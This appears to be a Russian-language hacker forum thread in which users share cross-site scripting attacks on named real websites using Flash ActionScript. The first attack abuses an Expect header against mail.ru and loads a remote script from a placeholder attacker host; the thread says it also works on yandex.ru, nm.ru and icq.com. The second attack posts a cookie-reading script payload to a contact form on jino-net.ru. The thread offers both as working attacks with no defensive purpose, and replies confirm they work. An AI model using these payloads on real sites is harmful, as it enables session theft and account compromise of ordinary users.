Xss на mail.ru через expect заголовок.

[Go0o$E]

Для проведения атаки я буду использовать Flash (ActionScript). Ну и естественно нам понадобится программа для создания Flash и у меня это будет Macromedia Flash MX.
Создание Flash:

http://f.foto.radikal.ru/0610/329d56f4fb55t.jpg (http://foto.radikal.ru/f.aspx?f0610329d56f4fb55jpg)

var req:LoadVars=new LoadVars();
req.addRequestHeader("Expect","<script src=http://yourhost/xss.js></script>");
req.decode("XSS");
req.send("http://www.mail.ru","POST");


Этот ActionScript работает на IE и Firefox, в Opera просто открывается mail.ru.

Уменьшаем размер и экспортируем Flash: File->Export->Export Image.



http://c.foto.radikal.ru/0610/e9816fa10677t.jpg (http://foto.radikal.ru/f.aspx?c0610e9816fa10677jpg)

Вот в принципе и все. Думаю вы знаете что дальше делать.

P.S. Еще работает на yandex.ru, nm.ru и icq.com.

[Sn@k3]

гыгыгы опера пелеплюнула фаерворкс =) А так метод уже рассматривался и я удивлен, почему же так редко упоминается, ведь пока что тема реально работает. оч рад +

[Go0o$E]

Да уязвимость не нова, но работает еще много где! =)

[Go0o$E]

Так же на actionscript можно проводить xss через post запросы.

Пример: XSS на jino-net.ru

var req:LoadVars=new LoadVars();
req.decode("subject=spam&name=%22%3E%3Cscript%3Ealert%28document.cookie%29% 3C%2Fscript%3E&email=&message=");
req.send("http://www.jino-net.ru/contacts.phtml?subj=spam","POST");